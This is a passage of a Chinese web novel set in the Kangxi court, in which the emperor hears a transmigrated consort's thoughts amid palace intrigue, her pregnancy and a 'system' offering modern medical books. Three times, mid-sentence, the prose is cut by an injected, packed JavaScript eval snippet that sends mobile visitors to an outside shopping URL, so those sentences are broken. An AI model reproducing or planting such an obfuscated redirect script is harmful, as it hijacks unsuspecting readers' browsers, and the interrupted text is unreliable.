康熙这才反应过来淑慧长公主那个眼神什么意思,他轻咳一声,觉得就算不承认是沉迷美色怕也没有人信了。 “我听说,你还送了大红色满绣的织锦常服给她?”孝庄犹豫了一瞬,才皱眉说道,“我知你宠她,只是以她的身份是做不得皇后的,以她的性格怕也难坐稳。” “孙儿知道,只是当日觉得她穿红色好看,才一时忘了规矩。”康熙见状赶忙回道,却将自己之前打算让齐满月穿大红旗袍来慈宁宫的事情忘了个干净。 孝庄揉了揉额角,想到刚刚淑慧长公主的劝说,才说道:“罢了罢了,便是宠好歹也是宠了个贵重的,比你以后宠的那些汉妃强多了。” 康熙听到她提以后,脸上顿时闪过尴尬,他就知道在齐满月心中自己是个好色昏君,自己以后宠爱汉人小嫔妃的事情也被她的心声吐露给太皇太后知道了,就是不知道太子和胤禛知不知道,要是也知道自己这个皇父的脸可就真不剩多少了。 回想着当时太子在慈宁宫听到齐满月心声的反应,康熙怎么想都觉得不对。 他当时就觉得这个孩子知道得太多,还以为是毓庆宫有人带坏了太子,还打算让人去查,结果被齐满月心声一打断就耽搁了,如今想来怕是从齐满月心声知道的。 孝庄没注意他的出神,轻轻叹了口气说道:“她这样的身份能力若是被人所知,若是放在还未入关时怕要被奉做神女了,如今该庆幸他人不知。” 康熙其实没大注意到她说什么,但还是乖顺着点了点头。 孝庄指尖在杯盏上摩挲了许久,还是认下了淑慧大长公主和苏麻喇姑的劝说:“罢了,只要你不独宠她,且随你吧,别说宿在她的宫里,你就是搬过去我也不过问了。” 康熙意外地看向孝庄,丝毫没想到孝庄为什么会突然松口,过去她可是极怕齐满月成为下一个宸妃的。 孝庄看出他眼眸中的惊讶,忍不住白了他一眼:“老身都这把岁数了,还能拦着你宠幸嫔妃?” 说着不耐地开口摆了摆手:“行了行了,你回去吧。” 康熙疑问地眼神扫过一旁的苏麻喇姑,在对方轻轻点头后,才施礼离开。 走在去永寿宫的路上,他突然想起毓庆宫的太子,直接吩咐人前去毓庆宫。 他想要好好收拾下这个孩子,屁大点的年纪,怎么什么都敢听,尤其是那日竟然还嫌弃自己这个君父。 在他离开后的慈宁宫,孝庄刚刚还带着几分无奈的脸骤然阴了下去:“这样真的行?” 苏麻喇姑直接蹲在她的身前,抬头看着她:“主子,皇上是什么性子您知道,那就是要顺毛捋的,您若是今日斥责他,反倒伤了祖孙的情分。” “那就由着他这样宠着齐佳氏?他是说不独宠,不将对方立作皇后,可万一呢?如今不过一个嫔位他就赏皇后才有的大红布料,违背自己简朴的命令,给对方绣华丽满绣,甚至还直接连续三日留宿永寿宫!” “如今该庆幸免了后宫妃嫔的请安,不然老身的慈宁宫怕是要被六宫眼泪淹没了!” 苏麻喇姑拍着她的后背,轻声劝着:“齐佳氏长得那般好容貌,性子又那样乖巧,奴婢瞅着身段也是极好的,皇上说到底不也是男人,久了自然厌了。” “我倒也这样期望,只是……”孝庄叹了口气,“怕是难了,今日看他那样子,怕是真上了心。” “若是皇上真要宠着她,便是您出手也没用啊,反倒是……”苏麻喇姑脸色猛地一僵,赶忙换话茬,“淑慧公主不还说嘛,儿孙自有儿孙福,而且那齐佳氏背后也无甚母族,让皇上宠着就是。” “那是阿图不知道齐佳氏的特殊!” 说到这里,孝庄僵了一瞬,才突然重叹了口气,卸力的往后一靠。 “罢了,我这把年纪了,皇帝又能活那么久,我还能管着身后事不成,且随他吧,好歹用了心,就闹不出齐佳氏所说的那些荒唐的事情了。” 苏麻喇姑并不知道孝庄所说的荒唐事情是什么,她只觉得孝庄想清楚了比什么都好。 康熙这边踱步到毓庆宫,却见满宫宫人见他皆是面带惶恐,丝毫没有本该有的平稳,眼眸瞬间冷厉起来,直接吩咐梁九功:“去查!毓庆宫出什么事情了!” 梁九功动作很快,直接把大太监扭压出来,厉声说道:“还不快说!可是太子殿下出了什么变故!?尔等竟敢欺瞒不报?!” 大太监脸色发白,浑身颤抖地跪在地上:“回……回皇上,奴才……奴才正要去报。” “说!”康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607035|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 熙坐在宫人赶忙搬来的座位上,直接在毓庆宫正殿门口审问起来。 “昨日……”大太监将昨天发生的事情赶忙一一说出来。 康熙脸色随着他的描述越发难看。 “砰!”他直接起身,将坐着的凳子踹飞老远,“好个狗奴才,惯着主子幼年饮酒就算了!还敢欺瞒!还不拉下去杖毙!” “皇上饶命!”大太监求饶的话还没说完,就被人堵嘴带了下去。 康熙此时也没心思再关注其他,快步走向太子寝殿。 只是还不等他进去,门就被从内打开,胤礽一脸睡意地看着康熙:“汗阿玛?” 康熙抓着他的手臂,仔细观察了一瞬后,才厉声吩咐道:“还不召御医!” 胤礽被他的动作弄了一脸懵,他眼瞅着自己刚用顺手的大太监小太监们被拉走,赶忙按住康熙的手:“汗阿玛发生什么了?” 梁九功见状,赶忙上前三言两语讲了一遍。 胤礽听后张了张嘴,他发现自己根本说不出来自己是被系统拉到幻境的事情,只能解释道:“不怪他们,是儿臣不小心打翻了酒壶,醉了而已。” 梁九功意外地抬眼看了他一眼。 康熙也有些诧异,要知道他这个儿子可从来不会为了奴才而解释什么。 胤礽没注意到两人眼神,只赶紧吩咐道:“还不把人放开!” 侍卫们看了眼康熙,在得到准许后,才松开了辖制的手臂。 “你宫里哪儿来的酒?”康熙眼眸在胤礽身上扫了扫,突然想到另一件事情。 胤礽身体一僵,小心看了眼他后,才咽了咽唾沫说道:“大……大哥给我的。” 大哥对不住了!死道友不死贫道! 他心里不住祈求,希望汗阿玛不要太生气。 康熙没想到两个屁大点的孩子还能在宫里藏起酒来,一时间怒意上头,竟然没注意到胤礽对胤禔的称呼。 “梁九功,将此事一字不差地告诉惠妃!” 梁九功赶忙低声应下,心中也不住暗自感慨,这次大阿哥可要吃一顿教训了。 在毓庆宫发完脾气,确定了胤礽确实没事儿后,康熙才回到永寿宫。 到了永寿宫天色谈不上多早了,他便陪着齐满月在手工房坐了一会儿后,就拉着人回到内室,丝毫不在意齐满月那一声声嫌弃的吐槽。 嫌弃就嫌弃吧,嫌弃也是他的妃子他的人,面上也得给他装得乖乖的。 月光洒在永寿宫的屋檐上,一个纤瘦的身影一闪而过,她小心走到门前,打量了下,却发现守门的人早已换成乾清宫的侍卫,只能懊恼回到自己房间。 同住的宫女狐疑地打量着她:“怎么了?” “我刚刚掉了个东西,去找回来了。”她抬手将一个玉扣递给对方看。 对方扫了眼玉扣又扫了眼她:“我等宫人不能随意带配饰,你还是好生放好吧。” “嗯,我知道了。”女子点了点头,乖顺地躺回到床上。 次日一早,此事就被人悄然告诉了康熙。 原本还睡眼惺忪的他,眼神立刻清明起来,脑海里闪过无数黑暗揣测后,他低声叮嘱梁九功:“查清楚。” 梁九功慎重点了下头,悄然退下去安排。 “怎么了?”刚睡醒的齐满月丝毫没注意自己暴露了本性,直接开口问道。 康熙每日听着她的心声,早习惯了她的性子,也没在意此时她这样,直接拍了拍她的后背:“乖,睡吧,没事儿。” 40. 日常及后宫 对于已经二十八九岁的康熙来说,查清后宫里一个钉子的主子并不是一个值得他费多少心神的事情。 他指尖在齐满月酣睡的脸颊上轻轻摩挲,如同剥了壳的鸡蛋一样细腻的肌肤在他指尖划过,让他心下不由一软,这张脸实在长在了他的审美之上。 柳叶细眉不浓不淡颜色正好,如蝶翼般的睫毛下,闭着的双眸是他对这张脸最深刻的印象,那双眸极为清澈如同刚出生的孩童一般,看着他也像是一个少女看着自己最深爱的情人。 挺翘的鼻尖擦过他的掌心,带来细微的悸动,他的指尖最后停在齐满月那双秀气却饱满的唇上。 齐满月的唇色实在浅淡,樱色的唇上就像是蒙了一层薄薄的白雾,衬得她的脸色也多了几分苍白。 康熙轻轻摩挲着她的唇,眼中闪过一丝担忧。 “梁九功!”他蹙着眉,直接叫来梁九功。 梁九功刚还去安排了查人的事情,此时听康熙唤他,赶忙小心应了一声。 “叫御医候着,等襄嫔起了,给她起个平安脉。”他毫不犹豫吩咐道。 梁九功赶忙应下,小心打量着对方丝毫没有起身的意思,又小心退下。 康熙轻叹了口气,余光正好看到齐满月秀气的耳朵如同白玉做的小饺子,娇小可爱得让他下意识就抬手去揉捏起来。 这一上手,他眼睛不由一亮,手工竟然超乎他想象的好,尤其是耳垂的位置,皮肤又细又滑,他揉捏着却总觉得心口随着自己的动作一颤一颤的。 很久后,他实在没忍住,将微微侧过身的齐满月直接拉了过来…… “有病啊!这不是大早上吗?!”如他所想,一声怒骂从齐满月的心声中传来。 可他却只是难以抑制地暗笑着,将手伸入了被子中…… 一场荒唐的起床仪式后,齐满月是彻底醒神了,她趁着康熙在穿衣服,嫌弃地暗自瞪了对方许久,直到云秀实在没忍住暗自戳了戳她提醒后,才跺了跺脚扭过身体坐回到梳妆台前。 康熙早已用余光将她和云秀的动作收入眼中,更不用说她的心声早已暴露了自己。 康熙听着对方从起床后就一直没停过的心声,嘴角勾了又勾,越发觉得这无时无刻不出现的心声实在是个颇有意趣的闺房之趣。 “咳!”听着齐满月的心声越发犀利,康熙也想起早上的荒唐,难得脸上带着某种羞窘,“梁九功,御医来了吗?” “御医?叫御医干嘛?咦~该不会多睡了几回就不行了吧?好差劲的男人!”齐满月透过铜镜暗自瞪了身后的康熙后,又被察觉的云秀悄悄推了一把。 云秀实在没想到自己这个主子实在胆大得不行,竟然敢偷偷瞪皇帝。 齐满月瘪了瘪嘴,拿起一根簪子悄悄扎起桌子来,结果还是被云秀打断,还瞪了她一眼。 齐满月这才反应过来,自己这动作在宫里也算是扎小人,是被绝对禁止的,只能心虚地看了眼身后的康熙,发现他没察觉后才暗自松了口气。 康熙背对着她忍不住翻了个白眼,也多亏他反应快,不然来不及背身不说,都要忍不住笑出声来了。 至于刚刚齐满月吐槽他不行的心声,他才不在意,身为帝王这点自信还是有的,毕竟某人昨天可就求饶数次了。 御医早已等待在偏殿中,此时听到皇帝召见自然快速赶来了。 他早已从梁九功的交代中知道了是给永寿宫的襄嫔请平安脉,心态放得很平静。 毕竟他早已从自己的同僚那里得知,襄嫔虽然身体看上去有些天生怯弱了些,却极为康健。 果然等他诊脉后,只觉得对方身体比他想象中好得多,将情况给康熙细细说过后,康熙才满意地让对方下去。 知道齐满月身体并无大碍,他也就放了心,拉着齐满月的小手揉了几下:“朕那幅画还没弄完,今日帮朕一起做好,给太皇太后送去。” 齐满月难得没有吐槽对方,毕竟自己刚刚还误会了对方,结果对方是叫御医给自己检查身体,她又不是白眼狼,对这种对自己好的人难免觉得有点心虚。 “算了算了,随他吧,反正也不用看东西六宫嫔妃的打量了,白日宣那啥!!要是被传出去我都成祸国妖妃了!都怪康麻子!” 康熙摸了摸自己的鼻子,他也有点后悔早上的冲动,被齐满月又起了个新的外号也就起了吧,他还能怎样?至于东西六宫,他身为皇帝想宠谁,就算后宫嫔妃真有一件又能如何?还真敢做出前朝后宫那样的算计不成? 被康熙惦记的东西六宫嫔妃当然不敢真的算计,毕竟大家都在一处挤着,说句不好听的,怕是放个屁隔壁都有人能听到。 不过算计不敢,酸言酸语却是有的,尤其是当传来康熙再次留宿永寿宫不说,早膳直接摆在永寿宫,又一次陪着齐满月进了手工房,看样子又会磨上一天了。 “这从初二晚上到现在,皇上除了去慈宁宫和毓庆宫,竟就一直待在永寿宫,那里就那么迷人吗?!”僖嫔这次可真没了做手工的心思,她满脸不可置信地看着宫人。 宫人也没想到康熙如此宠爱襄嫔,只能着急的提醒僖嫔:“娘娘,你可别做傻事!?” 僖嫔猛吸了几口气,忍不住瞪了她一眼:“我是傻,又不是蠢!皇帝都那样宠了,我还能如何?” “去!把那个毛毡画给我拿过来!我……我打发打发时间!” 宫人张了张嘴,有些尴尬说道:“昨晚您说以后都不想看到这些东西了,奴婢……奴婢……” “你该不会给我扔了吧?我做了好几天的!”僖嫔瞪着眼不可置信地看着她。 宫人眼神有些躲闪:“那个……扔倒是没扔,只是扔的路上被大阿哥碰到,就……就被大阿哥拿走了。” 僖嫔既想怒斥宫人,可也知道对方只是执行自己的命令,再加上这贴身宫女好歹是自己从家里带来,陪着自己长大的,只能压下心中闷气:“那还不拿一份新的,我重新做!” 宫人赶忙转身抱了个笸箩给她:“奴婢准备好了。” 说着不等僖嫔反应,宫人似想到什么似的,赶忙转身离开。 僖嫔熟练地打开笸箩,手中的动作却越来越慢,许久之后她微微蹙眉看向门口,她怎么感觉自己被宫人忽悠了? 其余六宫,宜妃在德妃的劝解下,纵然知道了康熙那些特殊,还是只能压下满心酸涩,将全身心的注意力放在肚子里的孩子身上。 “你也要注意着自己的身子。”宜妃微微蹙眉,眼含担忧地在德妃肚子上扫过,“可上报了?” “放心吧,我有经验呢。”德妃轻轻将手放在小腹上,脸上带着柔和,“不知道这次是个阿哥还是格格?” “哪个都好。”宜妃轻叹了口气,“只是你如今才刚生七格格,如今又怀上……” “放心吧,皇上早已给我安排了太医,每日平安脉都不曾断过。”德妃拍着宜妃的手,“放心吧,纵使咱们这位圣上再如何宠对方,咱们也不会如何的。” “我自是不担心这个,你我如今这个位置,以你我的出身已是尽头了,自不会有什么妄想,只是心里到底有些难受。”宜妃点了点头,反手握了握德妃的手。 “相比于那些出身包衣旗的小嫔妃,你我有子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614098|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 女有地位,过去还曾盛宠过,咱们这位爷也不是那般无情的,你且看荣妃、惠妃,如今不也挺好。” 听着德妃的劝说,宜妃抑郁了一宿的情绪总算被开解了几分。 被她们提到的惠妃和荣妃,两人正凑在一起整理宫务。 “你就不怕?”荣妃斜眼睨了惠妃一眼。 “我担心什么?我儿子都那么大了,我又这把岁数了,只要对方是个不错的,便是真独宠了也是她的本事。”惠妃掀了掀册子,连头都没抬,“怎么?你打算争个宠?” “再瞎咧咧,你就自己弄这些!”荣妃忍不住嗔怪地看了对方一眼,在得到惠妃带了几分讨饶的眼神后,才挑了下眉,带着几分得意低头继续看册子,“昨日大阿哥给你带来的那个,就是襄嫔新弄出来的?” “是啊,从僖嫔手里得的,别说还真有几分乐趣。”惠妃点了点茶盏,“你不觉得这后宫最近安静很多吗?” 荣妃垂眸略作思考后,点了点头:“确实,往日为了些针头线脑的,小嫔妃没少折腾,今年还真没怎么出现。” “这玩意儿我昨日试了试,确实让人痴迷不说,还能打发时间,不知不觉一下午就过去了。”惠妃想了想,“我记得我还送了不少彩色蜡粒,不知道襄嫔还搞出什么,若是又是这样的玩意儿,日后让后宫多做做也不是坏事。” “那倒也是,我记得她之前还带了个别致的绒花?说是自己用彩线做的?”荣妃想了想继续说道,“我看这法子也不错,小嫔妃们也能在规矩内给自己添点装饰。” “回头告诉皇贵妃吧。”惠妃有些担忧地想了想后,才说道,“等她胎稳了再提。” “还不稳当?”荣妃顿时想到自己的那几次怀孕,眼眸中闪过担忧。 “嗯,她身体倒也不曾听说多么不康健,也不知孩子怎么会养得不稳当。”惠妃也想起了荣妃的经历,自己也不由有些心有余悸,她们这些早年的妃嫔哪个没有过早夭的孩子…… 被她们提到的承乾宫皇贵妃,自然也收到了这些消息,更知道了今日大早上皇帝的胡闹,这些都是要她来给彤史盖章的。 她压下有些发颤的手,故作平静地盖了章才挥手让众人褪去。 秋月担忧的看了她一眼,最终不放心的守在门口。 “表哥啊……”皇贵妃看着窗外,一瞬间突然觉得一种莫名的孤寂涌上心头。 她固然从幼年时就知道,自己会嫁给表哥,也知道自己不会成为对方的唯一,更知道自己或许不会成为皇后。 可偏偏,在赫舍里和钮祜禄接二连三去世后,康熙将她扶到了副后的位置。 她以为或许有一天,自己能够登上后位,成为史书上表哥身边名正言顺的妻子,可自从胤禛转达了齐佳氏的心声后,她也慢慢放下了痴念。 既然历史上,她可以成为一日皇后,那现在她也可以,为自己的孩子铺一条更平安顺遂的路。 这样想着,她抬起手轻轻擦去眼角的泪,心中那对康熙曾仅存的一丝情谊似乎也消失了。 “宠就宠吧。”她招来秋月,轻声叮嘱道,“襄嫔性子柔软,你多陪着她的宫人聊聊,也好多教教她。” 秋月听着她的话,总觉得哪里不对,她惊异地看着皇贵妃。 皇贵妃叹了口气:“就皇上这样宠她,你觉得我之后就不会是她吗?” 这话意味着什么,秋月自然是懂得,她只是有些心疼地看着自家主子,许久后才暗自叹了口气,罢了罢了,好歹皇上不会踩着娘娘的脸将人捧上去,好歹皇帝对娘娘还有情谊,至少……他们还有子嗣,娘娘将来还有依靠…… 41. 怀孕 入了四月的京城已经有了几分热意,不过晚间依旧残留着些许旧时的寒凉,像齐满月这样的体弱妃嫔更是早早地熄灯休息。 只是齐满月打着哈欠,看着烛火好几遍,都不知道该不该提醒不远处的康熙该休息了。 自从开印后,这位大爷也不知道怎么想的,每日忙完政务后就来到她这里的手工房,一呆就是一下午,甚至大部分时间都在她这里睡了。 当然他也去过其他妃嫔那边,尤其是开印后,也曾在乾清宫忙得太晚召寝过其他小嫔妃。 齐满月倒不会觉得吃醋什么的,毕竟历史上康熙就不是会独宠妃嫔的人,她也不会因为长达月余的独宠而觉得对方会一直独宠她。 想到这里,她抬眼看向康熙,嘴不由撇了撇:“要是在现代我的伴侣有别的女人,我头给他打爆,结果来到这里……就只能忍了,要是放在前世我这种都算是小三了吧?不对,小N?哈哈哈哈哈。” 康熙刮彩蜡的小刀顿了顿,有些嫌弃地看着对面的女人一眼,这人啊仗着没人听见她的心声,可真是什么都敢说。 不过独宠这件事…… 康熙叹了口气,他其实越发不习惯和后宫嫔妃们相处了,毕竟他总是下意识会猜测对方在那副或娇嗔或乖顺的外表之下,内心到底在想什么。 过去的他很明白后宫妃嫔们或许不会是展示给他的那副模样,可他并不在乎,身为帝王本就该享受这些,至于妃嫔内心所想,不管是什么对他都只能是乖顺。 可自从听过了齐满月心里那些他往日不会也无法听到的大逆不道的话后,他突然涌上一种冲动:如果能听到所有人的心声就好了。 “说起来,今年德妃会生下皇九女,就是那个非常得太后喜爱还是被太后养大的公主吧,可惜年纪轻轻死于中暑。” 康熙不是第一次听到对方讲自己儿女们的死亡,可每一次都让他心中一颤,他想他这辈子都无法习惯麻木地去听着自己孩子的夭亡了。 “宜妃生的应该是八爷党的老九?虽然后人都说他长得最美,可实际上却是个胖子啊哈哈哈哈哈,还真是有点破灭。” “让我想想,老四登基后就开始收拾政敌,老九下场也不是很好啊,不过他也算活该?都说他是财神九,做生意捞钱一把好手,可实际上不是勒索大臣就是勒索亲家,甚至纳兰家八百万遗产都归他了。” 听到这里时康熙倒也没多大的气,毕竟齐满月也不是第一次说了,只是还是觉得非常丢人,这样的贪婪儿子竟然是自己的孩子。 “我记得历史上他还走私人参?勒索大臣连一百多两都不放过,甚至让官员上供一次多达百万,难怪老四后来这么恨他,自己拼死抄家落得了个抄家皇帝的恶名,还不如这位爷敲诈勒索来得多,难怪给他才改名赛斯黑。” “咯吱咯吱。”两声磨牙声从康熙身上传来。 齐满月离得远,一时间没听清楚:“哪儿来的老鼠?” 康熙浑身一僵,深吸了几口气,压下满心的怒意,这怒意不仅是对老九,还有对老四的无语,毕竟老四做的固然可以出气,可在他眼中手段实在幼稚得很。 “好无聊啊,他还要多久走啊……”齐满月无聊地用小剪刀戳着灯花,眼神时不时瞥向康熙。 “说起来,这位爷的金钱鼠尾是不是粗了很多?我的错觉?”齐满月恍惚间,总觉得康熙原本的辫子竟然看起来有了拇指粗细,还长了一些。 “不过……历史上这位爷老了之后会不会像我阿玛一样辫子细到梳不起来,怕人笑话是秃头连睡觉都不舍得摘帽子吧?” “哈哈哈哈哈哈……”齐满月想到康熙这张脸将来是个大秃头就忍不住好笑,“杜甫的白头搔更短,浑欲不胜簪到他身上应该就是搔发已寸无,浑似庙中僧?哈哈哈哈哈哈哈!!” 康熙睨了她一眼,见她脸上浑然是掩饰不住的笑意,甚至身体都跟着颤抖了才无奈开口道:“你好生坐着,想到什么这样好笑?” “噶?”齐满月没想到自己都没敢笑出声,这位爷还能发现自己在笑,一时间卡在原地,满脑子都是,“啊啊啊,狗脑子快想啊!” 康熙是没想到这位骂起来连自己都骂,只能叹了口气说道:“没事儿,你笑起来好看,多笑笑。” 齐满月总觉得这人的表情不像是这个意思,却也不明白自己哪里有问题,正好她感觉肚子有点饿,就要伸手去拿点心。 只是因为她刚刚因为想看书就把点心推远了一点,一时间没够到,下意识微微起身,却忘了刚刚自己拿来戳灯花的剪刀就在桌边。 眼瞅着她碰到的剪刀就要掉下来戳到她,齐满月猛地站起身往旁边一跳。 这一动作把康熙吓了一跳,赶忙起身上前一把将她按住,先将点心端给她,又将烛台推到一边,不忘将剪刀踢远。 “你!”康熙这一番动作也不过眨眼间的功夫就完成了,可他却一副被惊到的模样,看着齐满月咬了咬牙,“当娘的人了,怎么还这样不小心?!” 齐满月呆呆地看着康熙,好半天才反应过来:“哇哦,我真忘记了……” “我前世虽然活了二十多岁可也没怀过孕生过孩子啊!忘记了不是正常吗?!”齐满月张了张嘴,心里的那些吐槽到底没敢真的表现出来,“臣妾知道了。” “罢了,到底还……年轻。”康熙咬着牙将那句年轻二字吐出来。 他实在不明白,前世都二十几岁了,今生都十八了,怎么还能活泼成这样。 齐满月也知道自己理亏,只能当个鹌鹑一样,缩了缩肩膀。 康熙见状也不知道该说什么了,连刚刚进来的梁九功都一副皇上怎么又在对襄嫔生气的不解表情。 康熙只能深吸几口气。 他如今也是没法子了,齐满月在外人看来实在是个乖顺胆小的人,而心声又实在大胆,纵使他也称得上习惯了,也会偶尔被对方气得变了脸色。 落在外人眼中,便是他这个人对襄嫔宠归宠,就是比其他嫔妃更凶更严苛,动不动就直接怒视齐满月,他何其无辜啊…… 此刻康熙恨不得对方心声被全世界听到,可又觉得还是被他一个人听到的好,这样的特殊本就该属于他一个人的。 闹成这样,康熙也没了继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616961|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 做手工的心思,拉着人就往内室走:“朕看你还是老实地休息比较让人放心。” “太好了,终于可以睡觉了~!”齐满月脸上带着难掩的喜意,第一次主动跟着进了内室。 躺在床上,康熙看着她面上闭着眼睡得安稳,心声却一直没停过,无语的叹了口气,他就知道!这个女人一旦到了真睡觉的时候又是胡思乱想睡不着了! 要是齐满月没怀孕,他自然要好好让她劳累一番,伴着不成句子的心声睡个安稳;可对方现在身怀有孕,他又不是禽兽,只能让自己重新习惯一下这个伴奏。这几日他倒是学会了好几首对方前世的歌曲,只是有几本小说还没个下文。 虽然他也并不想知道结局…… “我才十八岁啊,竟然怀孕了……”那些唱歌的欢快声音渐退,他还以为对方终于睡着了,却没想到听到这么一句。 “现代生产都有危险更别说这个时代了,要是在现代好歹有现代医学,只要不是羊水栓塞这样的,基本上保命没关系,可这里呢……可我又不能打胎,好烦……而且孩子出什么问题这里也没办法,清宫夭折的孩子可太多了……” 康熙手下意识握紧被褥,他即便是帝王,却也不能拍着胸脯保证对方生产一定顺遂,更无法保证孩子一定活下来长大,毕竟他已经夭折了那么多的孩子了,生死从来不由权势,即便他有着这个时代最强大的权势…… “说起来……我是不是可以提前给孩子造土疫苗来着?好像不行啊……我一个都不知道啊……”齐满月在心声里重重叹了口气,要是知道自己穿越,她一定记住所有土疫苗的方子,“要是知道自己穿越,我一定记下那三本穿越奇书!尤其是赤脚医生手册!” “叮!”系统声却突然响起。 在上次催促了任务进度后,再也没出现的系统,也将一直没公布的新奖励告诉了康熙。 “赤脚医生手册、民兵军事训练手册、军地两用人才之友、毛主席语录,请尽快完成进度,可从其中领取相应书籍。” 康熙看着刚刚齐满月心声里提到的赤脚医生手册,眼眸却下意识扫到了最后一本语录。 语录两个字实在直白,虽然前三个字他并不甚多了解,却也能从中得到这是指一个人。 在他的认知里,能够留下这种所谓语录的书籍,定是一个可以供后世敬仰的圣人,他下意识想要了解下这位圣人的思想,可齐满月下一段话,却将他的想法改变。 “天花啊……对啊,天花,我记得天花的疫苗是牛痘,从牛痘中得到疫苗,然后可以预防天花还比人痘安全,嗯……我要记得想办法提醒康熙,这可是为了孩子命着想啊……” “还有什么来着……?嗯……好困啊,明天再想吧……”齐满月不自觉地打了个哈欠,彻底陷入沉睡。 康熙是彻底睡不着了,他被孝庄选中的原因之一就是因为他得过天花,天花也是现在的百姓最怕的疾病之一,如果在他执政期间解决了人痘的昂贵和不安全,那些汉人的反对怕也会小很多甚至消失啊! 想到这里,他看向虚空里那本赤脚医生手册的眼神亮得惊人! 42. 不知道起什么名字了 几天之后,康熙正在懋勤殿批阅奏折,一旁的齐满月手撑着头正打哈欠。 梁九功对她这副闲散模样,早已见怪不怪了,毕竟这可是皇帝特许的连皇贵妃都没有的待遇。 康熙刚放下一个奏折,抬头捏了捏眉心,就看到梁九功带了个小太监悄悄走了进来。 看着梁九功眼眸往齐满月那边扫了一眼,康熙便明白过来,微微颔首,让人上前回话。 听着小太监的回复,康熙眉头皱得越来越紧,想到今天朝堂上大臣们的争执,再到早已安排下去的旨意,眼眸动了动,才挥手让人退下。 从齐满月心声那里知道了天花和牛痘的事情,他次日一早就安排了下去,本想着一旦出来结果就去告诉太皇太后,只是没想到不等他去找太皇太后,就听到了这样的消息。 他抬眼看了眼一旁睡得正香的齐满月,抬脚轻轻走过去。 齐满月被他披衣服的动作惊醒,他赶忙按住对方轻声说道:“既然困得厉害,你就先回永寿宫好好睡一觉吧。” “都知道我容易犯困还把我喊来奉驾,我真心怀疑老康脑子有毒啊,都说会遗传我的崽不会遗传到吧?”齐满月的心声不出意料之外的出现。 康熙如今对齐满月的心声,早已能做到无动于衷了。 他轻轻拍了拍齐满月的后背:“乖。” 齐满月被这一声惊得浑身发毛,总觉得对方打什么坏主意一样。 康熙也发现了,只要他说些宠溺的话,对方都一副被吓到的模样,若是以往他自然是好好借此逗弄一下对方,只是如今他满心都是太皇太后的事,倒也没心思多说什么,只是将此暗暗记下罢了。 齐满月也没打算多耽搁,乖顺地行礼离开。 只是她还没走出乾清宫的范围,就见不远处几个乾清宫的太监押了一个身穿宫装的宫人远远而来。 “走这边,别污了主子的眼。”云秀眼眸微微一动,不等齐满月看个仔细,直接吩咐抬着轿辇的太监。 其实在后宫里,并不会有多少妃嫔坐轿辇,一则康熙本就崇尚简朴,妃嫔们自然顺着圣意,二则就是平日里大家可去的地方不多,串门溜达着去既能打发时间也能和小姐妹们多聊聊。 只是像齐满月这样有身孕的妃嫔一般都会乘坐轿辇,只是一般比较近的宫室来往也不需要,但今天她实在困了,这才专门叫来了轿辇。 “皇贵妃娘娘来传话,说上次您教的那个蚕丝扇子她怎么都弄不明白,请您下午去教一教呢。”谁知还没进了永寿宫,云月就满脸着急地走来。 “要不您现在去吧,反正待着也没事儿干。”云月不等齐满月走下轿辇,就像想到什么,急切催促道。 齐满月诧异的看着她,毕竟往日的云月定然是一脸欢喜的将她扶进房间,可不会这样一副赶人的模样。 云秀和云月对视了一眼,又看向不远处正一脸担忧看向这里的云朵,无声叹了口气:“主子,既然云月这样着急,恐怕是皇贵妃那边来催得紧,不如咱们就过去看看?” “可是……”齐满月张了张嘴,总觉得哪里有些不对。 “知道您犯困了,不如让太监们抬轿辇动作慢一点轻一点,您稍微打个盹儿,到底是皇贵妃咱们也不好怠慢。”云秀笑着搀着她的手臂,小心地将她扶到轿辇上。 云月见状也赶忙迎上来:“是啊,主子,皇贵妃娘娘身子也重了,咱们干脆趁天还好去,要是太晚了怕也要耽搁了皇贵妃休息。” 话音刚落,她眉眼一动,再次说道:“听说皇贵妃那边的小厨房做点心一绝,您还没吃过呢。” 说别的齐满月可能没什么兴趣,说到好吃的她的兴趣可就大了,连刚刚的困意都散去了,都不用云秀搀扶,自己加快了脚步直接坐到轿辇上,不忘催促小太监们:“不必慢下来,像往日那样就行。” 小太监们恭敬应下后抬着轿辇就往承乾宫而去,身后的云月脸色发白得差点儿瘫软在地上,却正好被一旁的小太监扶住:“云月姐姐小心。” “有劳。”云月点了点头,借着云朵的力气站稳身体。 云朵跑来的有些急切,此刻还带着几分喘息,她担忧的扫了眼云月,才对小太监说道:“我带着云月进去,你们守着吧,有人过来打听就说主子不在,嘴巴都严实点。” 小太监们自然是听话应下,云月这才松了口气,几乎将全身压在对方身上进了屋。 